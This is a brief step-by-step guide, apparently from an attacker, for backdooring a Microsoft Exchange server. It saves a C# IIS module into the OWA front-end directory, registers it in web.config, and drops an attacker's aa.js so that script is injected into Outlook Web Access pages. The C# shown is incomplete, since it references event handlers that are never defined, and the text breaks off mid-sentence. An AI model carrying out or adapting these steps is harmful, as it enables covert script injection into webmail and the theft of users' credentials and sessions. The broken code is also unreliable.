1. save the following code to C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa on exchagne front end server
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Security;
using System.Security.Principal;
using System.IO;
using System.Text;
using System.Web.UI;
namespace ZY
{
public class M1 : IHttpModule
{
public void Dispose()
{
}
public void Init(HttpApplication application)
{
if (application != null)
{
application.PostMapRequestHandler += (o, e) =>
{
HttpContext context = ((HttpApplication)o).Context;
};
application.BeginRequest += (o, e) =>
{
var app = (HttpApplication)o;
var Response = app.Response;
var Request = app.Request;
string urlFlag = "userspecificresourceinjector.ashx";
if (Request.Url.ToString().ToLower().Contains(urlFlag))
{
//Response.Buffer = true;
}
};
}
application.PreSendRequestHeaders += new EventHandler(application_PreSendRequestHeaders);
application.PreSendRequestContent += new EventHandler(application_PreSendRequestContent);
}
}
}
2. add following code to web.config in c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa
<modules>
<add name="zy" type="ZY.M1" />
</modules>
3. save your aa.js to c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\
The content in aa.js is what you want to inject into